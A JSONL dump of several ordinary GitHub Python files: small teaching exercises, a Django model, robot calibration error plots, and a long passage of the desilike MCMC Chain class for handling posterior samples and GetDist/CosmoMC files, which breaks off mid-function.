+{"seq_id":"31818561682","text":"#una empresa actualmente se encuentra en proceso de seleccion de personal por lo que: se nesecita de un programa que permita almacenar el nombre de las personas que llegan a entrevista y la cantidad total de personas entrevistadas en los diferentes dias \npostulantes=[]\ndef obtenerDatos():\n nombres=input(\"ingrese nombre postulante \")\n postulantes.append(nombres)\n print(nombres + \" ha sido añadido correctamente\")\n preguntaIngreso()\n\ndef salida():\n conteo=0\n for x in postulantes:\n conteo=conteo+1\n print(conteo,\" \",x)\n\n\ndef preguntaIngreso():\n print(\"¿Hay nuevos postulantes ?\")\n respuesta=input(\"s/n \")\n if respuesta==\"S\"or respuesta==\"s\":\n obtenerDatos()\n else:\n salida()\npreguntaIngreso()","repo_name":"AntonyBarahona/Funciones","sub_path":"ejerciciofunciones.py","file_name":"ejerciciofunciones.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"17145580076","text":"from django.db import models\nfrom django.conf import settings\nimport os\n\n# Create your models here.\n\nclass Project(models.Model):\n title = models.CharField(max_length=100)\n description = models.TextField()\n youtlink = models.URLField(max_length=200, default=\"\")\n gittlink = models.URLField(max_length=200, default=\"\")\n technology = models.CharField(max_length=20)\n image = models.ImageField(upload_to=\"images/\")\n \n def __str__(self):\n return self.title\n","repo_name":"dean-joshua/My-First-Django-Web-App","sub_path":"projects/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"22913534631","text":"import numpy as np\nfrom kincalib.Transforms.Rotation import Rotation3D\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\n\n\ndef calculate_position_error(T_RG: np.ndarray, T_RG_actual: np.ndarray):\n return np.linalg.norm((T_RG_actual - T_RG)[:3, 3, :], axis=0) * 1000\n\n\ndef calculate_orientation_error(T_RG: np.ndarray, T_RG_actual: np.ndarray):\n orientation_error = []\n for i in range(T_RG.shape[2]):\n T_RG_ith = Rotation3D(Rotation3D.trnorm(T_RG[:3, :3, i]))\n T_RG_actual_ith = Rotation3D(Rotation3D.trnorm(T_RG_actual[:3, :3, i]))\n axis_angle = (T_RG_ith.T @ T_RG_actual_ith).as_rotvec()\n orientation_error.append(np.linalg.norm(axis_angle))\n\n return np.array(orientation_error) * 180 / np.pi\n\n\ndef create_cartesian_error_lineplot(\n position_error: np.ndarray,\n orientation_error: np.ndarray,\n pos_ax: plt.Axes,\n ori_ax: plt.Axes,\n):\n pos_ax.plot(position_error)\n pos_ax.set_ylabel(\"Position error (mm)\")\n ori_ax.plot(orientation_error)\n ori_ax.set_ylabel(\"Orientation error (deg)\")\n\n [a.grid() for a in [pos_ax, ori_ax]]\n\n\ndef create_cartesian_error_histogram(\n pos_error_setpoint_measured: np.ndarray,\n ori_error_setpoint_measured: np.ndarray,\n pos_error_measured_actual: np.ndarray,\n ori_error_measured_actual: np.ndarray,\n stat=\"proportion\",\n bins=50,\n):\n data_dict = dict(\n pos_error_sm=pos_error_setpoint_measured,\n ori_error_sm=ori_error_setpoint_measured,\n pos_error_ma=pos_error_measured_actual,\n ori_error_ma=ori_error_measured_actual,\n )\n error_data = pd.DataFrame(data_dict)\n\n sub_params = dict(\n top=0.88, bottom=0.11, left=0.06, right=0.96, hspace=0.27, wspace=0.29\n )\n figsize = (13.66, 5.70)\n fig, axes = plt.subplots(2, 4, figsize=figsize)\n fig.subplots_adjust(**sub_params)\n\n fig.suptitle(f\"Error distribution (N={error_data.shape[0]})\")\n\n # fmt: off\n\n ## setpoint vs measured\n title = axes[0, 0 ].set_title(\"Setpoint vs Measured\")\n title.set_position([axes[0, 0].get_position().x0+1.02, axes[0, 0].get_position().y1 + 0.02])\n sns.histplot(\n data=error_data, x=\"pos_error_sm\", ax=axes[0, 0 ], stat=stat, kde=True, bins=bins,\n )\n sns.histplot(\n data=error_data, x=\"ori_error_sm\", ax=axes[0, 1 ], stat=stat, kde=True, bins=bins,\n )\n sns.histplot(\n data=error_data, x=\"pos_error_sm\", ax=axes[1, 0 ], stat=stat, kde=True, cumulative=True, bins=bins\n )\n sns.histplot(\n data=error_data, x=\"ori_error_sm\", ax=axes[1, 1 ], stat=stat, kde=True, cumulative=True, bins=bins\n )\n\n ## measured vs actual\n title = axes[0, 0 + 2].set_title(\"Measured vs actual\")\n title.set_position([axes[0, 0 + 2].get_position().x0+0.62, axes[0, 0 + 2].get_position().y1 + 0.02])\n sns.histplot(\n data=error_data, x=\"pos_error_ma\", ax=axes[0, 0 + 2], stat=stat, kde=True, bins=bins,\n )\n sns.histplot(\n data=error_data, x=\"ori_error_ma\", ax=axes[0, 1 + 2], stat=stat, kde=True, bins=bins,\n )\n sns.histplot(\n data=error_data, x=\"pos_error_ma\", ax=axes[1, 0 + 2], stat=stat, kde=True, cumulative=True, bins=bins\n )\n sns.histplot(\n data=error_data, x=\"ori_error_ma\", ax=axes[1, 1 + 2], stat=stat, kde=True, cumulative=True, bins=bins\n )\n # fmt: on\n plt.show()\n","repo_name":"jabarragann/KinematicCalibDVRK","sub_path":"kincalib/utils/ErrorUtils.py","file_name":"ErrorUtils.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"1897239763","text":"class Source:\n '''\n Class that defines news sources object\n '''\n\n\n def __init__(self, id, name, description, url, category, country):\n self.id = id\n self.name = name\n self.description = description\n self.url = url\n self.category = category\n self.country = country\n\n\n# top headlines\n\nclass Article:\n '''\n Class that defines article objects\n '''\n\n def __init__(self, author, title, description, url, urlToImage, publishedAt, content):\n # self.source = source\n self.author = author\n self.title = title\n self.description = description\n self.url = url\n self.urlToImage = urlToImage\n self.publishedAt = publishedAt\n self.content = content\n","repo_name":"John-Kimani/Horizon-News","sub_path":"app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3807699284","text":"from source.api.ApiRequest import ApiRequest\n\nclass ProductApiHelper(ApiRequest):\n @property\n def resource(self):\n return \"product\"\n \n async def search(self, text, filter, page=0, size=5):\n return await self.get({\n \"text\" : text,\n \"filter\" : filter,\n \"page\" : page,\n \"size\" : size\n })","repo_name":"Siakoo0/BroFinderBotTG","sub_path":"source/api/ProductApi.py","file_name":"ProductApi.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"4369656418","text":"\"\"\"\nPDX Code Guild Lab 16 (v2): Dad Joke API\n\"\"\"\nimport time\nfrom comedian import Comedian\nfrom audience import Audience\n\nseinfeld = Comedian()\naudience = Audience()\nsearch_term = audience.give_prompt()\n\njoke_count = 0\nlimit = 5\npage_count = 1\nwhile True:\n joke_dict = seinfeld.get_jokes(search_term, page_count)\n joke_results = joke_dict['results']\n total_jokes = seinfeld.total_jokes(joke_dict)\n\n if total_jokes == 0:\n break\n\n loop_count = 1\n while True:\n joke = joke_dict['results'][loop_count - 1]['joke']\n seinfeld.tell_joke(joke)\n audience.react()\n joke_count += 1\n\n if joke_count == total_jokes:\n break\n elif loop_count == limit:\n more_jokes = seinfeld.keep_joking(search_term)\n break\n else:\n more_jokes = seinfeld.keep_joking(search_term)\n if more_jokes == 'n':\n break\n loop_count += 1\n page_count += 1\n\n if joke_count == total_jokes:\n time.sleep(1)\n print(f\"No more jokes to tell about {search_term}.\")\n break\n elif more_jokes == 'n':\n break\n","repo_name":"PdxCodeGuild/class_opal","sub_path":"code/jim/python/lab16 copy/lab16_v2.3.py","file_name":"lab16_v2.3.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"18742692259","text":"import os\nimport re\nimport glob\n\nimport numpy as np\n\nfrom desilike.parameter import ParameterCollection, Parameter, ParameterPrior, ParameterArray, Samples, ParameterCovariance, _reshape, is_parameter_sequence\nfrom desilike import LikelihoodFisher\n\nfrom . import utils\n\n\ndef vectorize(func):\n \"\"\"Vectorize input function ``func`` for input parameters.\"\"\"\n from functools import wraps\n\n @wraps(func)\n def wrapper(self, params=None, *args, **kwargs):\n if params is None:\n params = self.params()\n\n def _reshape(result, pshape):\n\n def __reshape(array):\n try:\n array.shape = array.shape[:array.ndim - len(pshape)] + pshape\n except AttributeError:\n pass\n return array\n\n if isinstance(result, tuple): # for :meth:`Chain.interval`\n for res in result:\n __reshape(res)\n else:\n __reshape(result)\n return result\n\n if is_parameter_sequence(params):\n params = [self[param].param for param in params]\n return [_reshape(func(self, param, *args, **kwargs), param.shape) for param in params]\n return _reshape(func(self, params, *args, **kwargs), self[params].param.shape)\n\n return wrapper\n\n\ndef _get_solved_covariance(chain, params=None):\n solved_params = chain.params(solved=True)\n if params is None:\n params = solved_params\n solved_indices = [solved_params.index(param) for param in params]\n logposterior = -(chain[chain._loglikelihood] + chain[chain._logprior])\n if not logposterior.derivs:\n import warnings\n warnings.warn('You need the covariance of analytically marginalized (\"solved\") parameters, but it has not been computed (maybe this chain has been obtained with an old version of the code). Assuming zero covariance.')\n return np.zeros(chain.shape + (len(solved_indices), ) * 2, dtype='f8')\n logposterior = np.array([[logposterior[param1, param2].ravel() for param2 in solved_params] for param1 in solved_params])\n logposterior = np.moveaxis(logposterior, -1, 0).reshape(chain.shape + (len(solved_params),) * 2)\n return np.linalg.inv(logposterior)[(Ellipsis,) + np.ix_(solved_indices, solved_indices)]\n\n\nclass Chain(Samples):\n\n \"\"\"Class that holds samples drawn from posterior (in practice, :class:`Samples` with a log-posterior and optional weights).\"\"\"\n\n _type = ParameterArray\n _attrs = Samples._attrs + ['_logposterior', '_loglikelihood', '_logprior', '_aweight', '_fweight', '_weight']\n\n def __init__(self, data=None, params=None, logposterior=None, loglikelihood=None, logprior=None, aweight=None, fweight=None, weight=None, attrs=None):\n \"\"\"\n Initialize :class:`Chain`.\n\n Parameters\n ----------\n data : list, dict, Samples\n Can be:\n\n - list of :class:`ParameterArray`, or :class:`np.ndarray` if list of parameters\n (or :class:`ParameterCollection`) is provided in ``params``\n - dictionary mapping parameter to array\n\n params : list, ParameterCollection\n Optionally, list of parameters.\n\n logposterior : str, default='logposterior'\n Name of log-posterior in ``data``.\n\n loglikelihood : str, default='loglikelihood'\n Name of log-likelihood in ``data``.\n\n logprior : str, default='logprior'\n Name of log-prior in ``data``.\n\n aweight : str, default='aweight'\n Name of sample weights (which default to 1. if not provided in ``data``).\n\n fweight : str, default='fweight'\n Name of sample frequency weights (which default to 1 if not provided in ``data``).\n\n weight : str, default='weight'\n Name of sample total weight. It is defined as the product of :attr:`aweight` and :attr:`fweight`,\n hence should not provided in ``data``.\n\n attrs : dict, default=None\n Optionally, other attributes, stored in :attr:`attrs`.\n \"\"\"\n super(Chain, self).__init__(data=data, params=params, attrs=attrs)\n for _name in self._attrs[-6:]:\n name = _name[1:]\n value = locals()[name]\n if getattr(self, _name, None) is None or value is not None: # set only if not previously set, or new value are provided\n setattr(self, _name, name if value is None else str(value))\n value = getattr(self, _name)\n if value in self:\n self[value].param.update(derived=True)\n\n def __setstate__(self, state):\n # Backward-compatibility\n for name in ['_logposterior', '_loglikelihood', '_logprior', '_aweight', '_fweight', '_weight']:\n state.setdefault(name, name[1:])\n super(Chain, self).__setstate__(state)\n\n @property\n def aweight(self):\n \"\"\"Sample weights (floats).\"\"\"\n if self._aweight not in self:\n self[Parameter(self._aweight, derived=True, latex=utils.outputs_to_latex(self._aweight))] = np.ones(self.shape, dtype='f8')\n return self[self._aweight]\n\n @property\n def fweight(self):\n \"\"\"Sample frequency weights (integers).\"\"\"\n if self._fweight not in self:\n self[Parameter(self._fweight, derived=True, latex=utils.outputs_to_latex(self._fweight))] = np.ones(self.shape, dtype='i8')\n return self[self._fweight]\n\n @property\n def logposterior(self):\n \"\"\"Log-posterior.\"\"\"\n if self._logposterior not in self:\n self[Parameter(self._logposterior, derived=True, latex=utils.outputs_to_latex(self._logposterior))] = np.zeros(self.shape, dtype='f8')\n return self[self._logposterior]\n\n @aweight.setter\n def aweight(self, item):\n \"\"\"Set weights (floats).\"\"\"\n self[Parameter(self._aweight, derived=True, latex=utils.outputs_to_latex(self._aweight))] = item\n\n @fweight.setter\n def fweight(self, item):\n \"\"\"Set frequency weights (integers).\"\"\"\n self[Parameter(self._fweight, derived=True, latex=utils.outputs_to_latex(self._fweight))] = item\n\n @logposterior.setter\n def logposterior(self, item):\n \"\"\"Set log-posterior.\"\"\"\n self[Parameter(self._logposterior, derived=True, latex=utils.outputs_to_latex(self._logposterior))] = item\n\n @property\n def weight(self):\n \"\"\"Return total weight, as the product of :attr:`aweight` and :attr:`fweight`.\"\"\"\n return ParameterArray(self.aweight * self.fweight, Parameter(self._weight, derived=True, latex=utils.outputs_to_latex(self._weight)))\n\n def remove_burnin(self, burnin=0):\n \"\"\"\n Return new samples with burn-in removed.\n\n Parameters\n ----------\n burnin : float, int\n If ``burnin`` between 0 and 1, remove that fraction of samples.\n Else, remove ``burnin`` (integer) first points.\n\n Returns\n -------\n samples : Chain\n \"\"\"\n if 0 < burnin < 1:\n burnin = burnin * len(self)\n burnin = int(burnin + 0.5)\n return self[burnin:]\n\n def sample_solved(self, size=1, seed=42):\n \"\"\"Sample parameters that have been analytic marginalized over (``solved``).\"\"\"\n new = self.deepcopy()\n solved_params = self.params(solved=True)\n if not solved_params: return new\n covariance = _get_solved_covariance(self, params=solved_params)\n L = np.moveaxis(np.linalg.cholesky(covariance), (-2, -1), (0, 1))\n new.data = []\n for array in self:\n new.set(array.clone(value=np.repeat(array, size, axis=self.ndim - 1)))\n rng = np.random.RandomState(seed=seed)\n noise = rng.standard_normal((len(solved_params),) + self.shape + (size,))\n values = np.sum(noise[None, ...] * L[..., None], axis=1)\n for param, value in zip(solved_params, values):\n new[param] = new[param].clone(value=new[param] + value.reshape(new.shape), param=param.clone(derived=False))\n dlogposterior = 0.\n for param in [self._loglikelihood, self._logprior]:\n icov = - np.array([[self[param][param1, param2] for param2 in solved_params] for param1 in solved_params])\n log = -0.5 * np.sum(values[None, ...] * icov[..., None] * values[:, None, ...], axis=(0, 1)).reshape(new.shape)\n new[param] = self[param].clone(value=new[param][()] + log, derivs=None)\n dlogposterior += log\n new.logposterior[...] += dlogposterior\n return new\n\n def get(self, name, *args, **kwargs):\n \"\"\"\n Return parameter array of name ``name`` in chain.\n\n Parameters\n ----------\n name : Parameter, str\n Parameter name.\n If :class:`Parameter` instance, search for parameter with same name.\n\n Returns\n -------\n array : ParameterArray\n \"\"\"\n has_default = False\n if args:\n if len(args) > 1:\n raise SyntaxError('Too many arguments!')\n has_default = True\n default = args[0]\n if kwargs:\n if len(kwargs) > 1:\n raise SyntaxError('Too many arguments!')\n has_default = True\n default = kwargs['default']\n try:\n return self.data[self.index(name)]\n except KeyError:\n if name == self._weight:\n return self.weight\n if has_default:\n return default\n raise KeyError('Column {} does not exist'.format(name))\n\n @classmethod\n def from_getdist(cls, samples):\n \"\"\"\n Turn getdist.MCSamples into a :class:`Chain` instance.\n\n Note\n ----\n GetDist package is required.\n \"\"\"\n params = ParameterCollection()\n for param in samples.paramNames.names:\n params.set(Parameter(param.name, latex=param.label, derived=param.isDerived, fixed=False))\n for param in params:\n limits = [samples.ranges.lower.get(param.name, -np.inf), samples.ranges.upper.get(param.name, np.inf)]\n param.update(prior=ParameterPrior(limits=limits))\n new = cls()\n fweight, new.logposterior = samples.weights, -samples.loglikes\n iweight = np.rint(fweight)\n if np.allclose(fweight, iweight, atol=0., rtol=1e-9):\n new.fweight = iweight.astype('i4')\n else:\n new.aweight = fweight\n for param in params:\n new.set(ParameterArray(samples[param.name], param=param))\n for param in new.params(basename='chi2_*'):\n namespace = re.match('chi2_[_]*(.*)$', param.name).groups()[0]\n if namespace == 'prior':\n new_param = param.clone(basename=new._logprior, derived=True)\n else:\n new_param = param.clone(basename=new._loglikelihood, namespace=namespace, derived=True)\n new[new_param] = -0.5 * new[param]\n return new\n\n def to_getdist(self, params=None, label=None, **kwargs):\n \"\"\"\n Return GetDist hook to samples.\n\n Note\n ----\n GetDist package is required.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to save samples of (weight and log-posterior are added anyway). Defaults to all parameters.\n\n label : str, default=None\n Name for GetDist to use for these samples.\n\n **kwargs : dict\n Optional arguments for :class:`getdist.MCSamples`.\n\n Returns\n -------\n samples : getdist.MCSamples\n \"\"\"\n from getdist import MCSamples\n toret = None\n if params is None: params = self.params(varied=True)\n else: params = [self[param].param for param in params]\n if any(param.solved for param in params):\n self = self.sample_solved()\n params = [param for param in params if param.name not in [self._weight, self._logposterior]]\n samples = self.to_array(params=params, struct=False, derivs=()).reshape(-1, self.size)\n labels = [param.latex() for param in params]\n names = [str(param) for param in params]\n ranges = {str(param): tuple('N' if limit is None or not np.isfinite(limit) else limit for limit in param.prior.limits) for param in params}\n toret = MCSamples(samples=samples.T, weights=np.asarray(self.weight.ravel()), loglikes=-np.asarray(self.logposterior.ravel()), names=names, labels=labels, label=label, ranges=ranges, **kwargs)\n return toret\n\n @classmethod\n def read_getdist(cls, base_fn, ichains=None, concatenate=False):\n \"\"\"\n Load samples in *CosmoMC* format, i.e.:\n\n - '_{ichain}.txt' files for sample values\n - '.paramnames' files for parameter names / latex\n - '.ranges' for parameter ranges\n\n Note\n ----\n GetDist package *is not* required.\n\n Parameters\n ----------\n base_fn : str, Path\n Base *CosmoMC* file name. Will be appended by '_{ichain}.txt' for sample values,\n '.paramnames' for parameter names and '.ranges' for parameter ranges.\n\n ichains : int, tuple, list, default=None\n Chain numbers to load. Defaults to all chains matching pattern '{base_fn}*.txt'.\n If a single number is provided, return a unique chain.\n If multiple numbers are provided, or is ``None``, return a list of chains (see ``concatenate``).\n\n concatenate : bool, default=False\n If ``True``, concatenate all chains in one.\n\n Returns\n -------\n samples : list, Chain\n Chain or list of chains.\n \"\"\"\n params_fn = '{}.paramnames'.format(base_fn)\n cls.log_info('Loading params file: {}.'.format(params_fn))\n params = ParameterCollection()\n with open(params_fn) as file:\n for line in file:\n line = [item.strip() for item in line.split(maxsplit=1)]\n if line:\n name, latex = line\n derived = name.endswith('*')\n if derived: name = name[:-1]\n params.set(Parameter(basename=name, latex=latex.replace('\\n', ''), fixed=False, derived=derived))\n\n ranges_fn = '{}.ranges'.format(base_fn)\n if os.path.exists(ranges_fn):\n cls.log_info('Loading parameter ranges from {}.'.format(ranges_fn))\n with open(ranges_fn) as file:\n for line in file:\n name, low, high = [item.strip() for item in line.split()]\n latex = latex.replace('\\n', '')\n limits = []\n for lh, li in zip([low, high], [-np.inf, np.inf]):\n if lh == 'N': lh = li\n else: lh = float(lh)\n limits.append(lh)\n if name in params:\n params[name].update(prior=ParameterPrior(limits=limits))\n else:\n cls.log_info('Parameter ranges file {} does not exist.'.format(ranges_fn))\n\n chain_fn = '{}_{{}}.txt'.format(base_fn)\n isscalar = False\n chain_fns = []\n if ichains is not None:\n isscalar = np.ndim(ichains) == 0\n if isscalar:\n ichains = [ichains]\n for ichain in ichains:\n chain_fns.append(chain_fn.format('{:d}'.format(ichain)))\n else:\n chain_fns = glob.glob(chain_fn.format('[0-9]*'))\n\n toret = []\n for chain_fn in chain_fns:\n cls.log_info('Loading chain file: {}.'.format(chain_fn))\n array = np.loadtxt(chain_fn, unpack=True)\n new = cls()\n fweight, new.logposterior = array[0], -array[1]\n iweight = np.rint(fweight)\n if np.allclose(fweight, iweight, atol=0., rtol=1e-9):\n new.fweight = iweight.astype('i4')\n else:\n new.aweight = fweight\n for param, values in zip(params, array[2:]):\n new.set(ParameterArray(values, param))\n toret.append(new)\n for new in toret:\n for param in new.params(basename='chi2_*'):\n namespace = re.match('chi2_[_]*(.*)$', param.name).groups()[0]\n if namespace == 'prior':\n new_param = param.clone(basename=new._logprior, derived=True)\n else:\n new_param = param.clone(basename=new._loglikelihood, namespace=namespace, derived=True)\n new[new_param] = -0.5 * new[param]\n if isscalar:\n return toret[0]\n if concatenate:\n return cls.concatenate(toret)\n return toret\n\n def write_getdist(self, base_fn, params=None, ichain=None, fmt='%.18e', delimiter=' ', **kwargs):\n \"\"\"\n Save samples to disk in *CosmoMC* format.\n\n Note\n ----\n GetDist package *is not* required.\n\n Parameters\n ----------\n base_fn : str, Path\n Base *CosmoMC* file name. Will be prepended by '_{ichain}.txt' for sample values,\n '.paramnames' for parameter names and '.ranges' for parameter ranges.\n\n params : list, ParameterCollection, default=None\n Parameters to save samples of (weight and log-posterior are added anyway). Defaults to all parameters.\n\n ichain : int, default=None\n Chain number to append to file name, i.e. sample values will be saved as '{base_fn}_{ichain}.txt'.\n If ``None``, does not append any number, sample values will be saved as '{base_fn}.txt'.\n\n fmt : str, default='%.18e'\n How to format floats.\n\n delimiter : str, default=' '\n String or character separating columns.\n\n kwargs : dict\n Optional arguments for :func:`numpy.savetxt`.\n \"\"\"\n if params is None: params = self.params()\n else: params = [self[param].param for param in params]\n if any(param.solved for param in params):\n self = self.sample_solved()\n columns = [str(param) for param in params]\n outputs_columns = [self._weight, self._logposterior]\n shape = self.shape\n outputs = [array.param.name for array in self if array.shape != shape]\n for column in outputs:\n if column in columns: del columns[columns.index(column)]\n data = self.to_array(params=outputs_columns + columns, struct=False, derivs=()).reshape(-1, self.size)\n data[1] *= -1\n data = data.T\n utils.mkdir(os.path.dirname(base_fn))\n chain_fn = '{}.txt'.format(base_fn) if ichain is None else '{}_{:d}.txt'.format(base_fn, ichain)\n self.log_info('Saving chain to {}.'.format(chain_fn))\n np.savetxt(chain_fn, data, header='', fmt=fmt, delimiter=delimiter, **kwargs)\n\n output = ''\n params = self.params(name=columns)\n for param in params:\n tmp = '{}* {}\\n' if getattr(param, 'derived', getattr(param, 'fixed')) else '{} {}\\n'\n output += tmp.format(param.name, param.latex())\n params_fn = '{}.paramnames'.format(base_fn)\n self.log_info('Saving parameter names to {}.'.format(params_fn))\n with open(params_fn, 'w') as file:\n file.write(output)\n\n output = ''\n for param in params:\n limits = param.prior.limits\n limits = tuple('N' if limit is None or np.abs(limit) == np.inf else limit for limit in limits)\n output += '{} {} {}\\n'.format(param.name, limits[0], limits[1])\n ranges_fn = '{}.ranges'.format(base_fn)\n self.log_info('Saving parameter ranges to {}.'.format(ranges_fn))\n with open(ranges_fn, 'w') as file:\n file.write(output)\n\n def to_anesthetic(self, params=None, label=None, **kwargs):\n \"\"\"\n Return anesthetic hook to samples.\n\n Note\n ----\n anesthetic package *is* required.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to save samples of (weight and log-posterior are added anyway). Defaults to all parameters.\n\n label : str, default=None\n Name for anesthetic to use for these samples.\n\n **kwargs : dict\n Optional arguments for :class:`anesthetic.MCMCSamples`.\n\n Returns\n -------\n samples : anesthetic.MCMCSamples\n \"\"\"\n from anesthetic import MCMCSamples\n toret = None\n if params is None: params = self.params(varied=True)\n else: params = [self[param].param for param in params]\n if any(param.solved for param in params):\n self = self.sample_solved()\n labels = [param.latex() for param in params]\n samples = self.to_array(params=params, struct=False, derivs=()).reshape(-1, self.size)\n names = [str(param) for param in params]\n limits = {param.name: tuple('N' if limit is None or np.abs(limit) == np.inf else limit for limit in param.prior.limits) for param in params}\n toret = MCMCSamples(samples=samples.T, columns=names, weights=np.asarray(self.weight.ravel()), logL=-np.asarray(self.logposterior.ravel()), labels=labels, label=label, logzero=-np.inf, limits=limits, **kwargs)\n return toret\n\n def choice(self, index='mean', params=None, return_type='dict', **kwargs):\n \"\"\"\n Return parameter mean(s) or best fit(s).\n\n Parameters\n ----------\n index : str, default='mean'\n 'argmax' to return \"best fit\" (as defined by the point with maximum log-posterior in the chain).\n 'mean' to return mean of parameters (weighted by :attr:`weight`).\n\n params : list, ParameterCollection, default=None\n Parameters to compute mean / best fit for. Defaults to all parameters.\n\n return_type : default='dict'\n 'dict' to return a dictionary mapping parameter names to mean / best fit;\n 'nparray' to return an array of parameter mean / best fit;\n ``None`` to return a :class:`Chain` instance with a single value.\n\n **kwargs : dict\n Optional arguments passed to :meth:`params` to select params to return, e.g. ``varied=True, derived=False``.\n\n Returns\n -------\n toret : dict, array, Chain\n \"\"\"\n if params is None:\n params = self.params(**kwargs)\n if isinstance(index, str) and index == 'mean':\n di = {str(param): self.mean(param) for param in params}\n index = (0,) # just for test below\n else:\n if isinstance(index, str) and index == 'argmax':\n index = np.unravel_index(self.logposterior.argmax(), self.shape)\n if not isinstance(index, tuple):\n index = (index,)\n di = {str(param): self[param][index] for param in params}\n if return_type == 'dict':\n return di\n if return_type == 'nparray':\n return np.array(list(di.values()))\n toret = self.copy()\n isscalar = all(np.ndim(ii) == 0 for ii in index)\n toret.data = []\n for param, value in di.items():\n value = np.asarray(value)\n toret.data.append(self[param].clone(value=value[None, ...] if isscalar else value))\n return toret\n\n def covariance(self, params=None, return_type='nparray', ddof=1):\n \"\"\"\n Return parameter covariance computed from (weighted) samples.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to compute covariance for. Defaults to all parameters.\n If a single parameter is provided, this parameter is a scalar, and ``return_type`` is 'nparray', return a scalar.\n\n return_type : str, default='nparray'\n 'nparray' to return matrix array;\n ``None`` to return :class:`ParameterCovariance` instance.\n\n ddof : int, default=1\n Number of degrees of freedom.\n\n Returns\n -------\n covariance : array, float, ParameterCovariance\n \"\"\"\n if params is None: params = self.params()\n if not is_parameter_sequence(params): params = [params]\n params = [self[param].param for param in params]\n values = [self[param].reshape(self.size, -1) for param in params]\n values = np.concatenate(values, axis=-1)\n covariance = np.atleast_2d(np.cov(values, rowvar=False, fweights=self.fweight.ravel(), aweights=self.aweight.ravel(), ddof=ddof))\n solved_params = [param for param in params if param.solved]\n if solved_params:\n solved_indices = [params.index(param) for param in solved_params]\n covariance[np.ix_(solved_indices, solved_indices)] += np.average(_get_solved_covariance(self, params=solved_params).reshape(-1, len(solved_params), len(solved_params)), weights=self.weight.ravel(), axis=0)\n return ParameterCovariance(covariance, params=params).view(return_type=return_type)\n\n def precision(self, params=None, return_type='nparray', ddof=1):\n \"\"\"\n Return inverse parameter covariance computed from (weighted) samples.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to compute covariance for. Defaults to all parameters.\n If a single parameter is provided, this parameter is a scalar, and ``return_type`` is 'nparray', return a scalar.\n\n return_type : str, default='nparray'\n 'nparray' to return matrix array.\n ``None`` to return a :class:`ParameterPrecision` instance.\n\n ddof : int, default=1\n Number of degrees of freedom.\n\n Returns\n -------\n precision : array, float, ParameterPrecision\n \"\"\"\n return self.covariance(params=params, ddof=ddof, return_type=None).to_precision(return_type=return_type)\n\n def corrcoef(self, params=None):\n \"\"\"Return correlation matrix array computed from (weighted) samples (optionally restricted to input parameters).\"\"\"\n return self.covariance(params=params, return_type=None).corrcoef()\n\n @vectorize\n def var(self, params=None, ddof=1):\n \"\"\"\n Return variance computed from (weighted) samples (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n ``ddof`` is the number of degrees of freedom.\n \"\"\"\n isscalar = not is_parameter_sequence(params)\n cov = self.covariance(params, ddof=ddof, return_type='nparray')\n if isscalar: return cov.flat[0] # single param\n return np.diag(cov)\n\n def std(self, params=None, ddof=1):\n \"\"\"\n Return standard deviation computed from (weighted) samples (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n ``ddof`` is the number of degrees of freedom.\n \"\"\"\n return self.var(params=params, ddof=ddof)**0.5\n\n @vectorize\n def mean(self, params=None):\n \"\"\"\n Return mean computed from (weighted) samples (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n \"\"\"\n return np.average(_reshape(self[params], self.size), weights=self.weight.ravel(), axis=0)\n\n @vectorize\n def argmax(self, params=None):\n \"\"\"\n Return parameter values for maximum of log-posterior (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n \"\"\"\n return _reshape(self[params], self.size)[np.argmax(self.logposterior.ravel())]\n\n def median(self, params=None, method='linear'):\n \"\"\"\n Return parameter median of weighted parameter samples (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n \"\"\"\n return self.quantile(params, q=0.5, method=method)\n\n @vectorize\n def quantile(self, params=None, q=(0.1587, 0.8413), method='linear'):\n \"\"\"\n Compute the q-th quantile of the weighted parameter samples.\n If a single parameter is given as input this parameter is a scalar, and a ``q`` is a scalar, return a scalar.\n\n Note\n ----\n Adapted from https://github.com/minaskar/cronus/blob/master/cronus/plot.py.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to compute quantiles for. Defaults to all parameters.\n\n q : tuple, list, array\n Quantile or sequence of quantiles to compute, which must be between\n 0 and 1 inclusive.\n\n method : {'linear', 'lower', 'higher', 'midpoint', 'nearest'}, default='linear'\n This optional parameter specifies the method method to\n use when the desired quantile lies between two data points\n ``i < j``:\n\n - linear: ``i + (j - i) * fraction``, where ``fraction``\n is the fractional part of the index surrounded by ``i``\n and ``j``.\n - lower: ``i``.\n - higher: ``j``.\n - nearest: ``i`` or ``j``, whichever is nearest.\n - midpoint: ``(i + j) / 2``.\n\n Returns\n -------\n quantiles : list, scalar, array\n \"\"\"\n value = _reshape(self[params], self.size)\n weight = self.weight.ravel()\n weight /= np.sum(weight)\n\n if value.param.solved:\n from scipy import stats\n\n locs = value\n scales = _get_solved_covariance(self, [params])[..., 0, 0].ravel()**0.5\n cdfs = [stats.norm(loc=loc, scale=scale).cdf for loc, scale in zip(locs, scales)]\n\n isscalar = 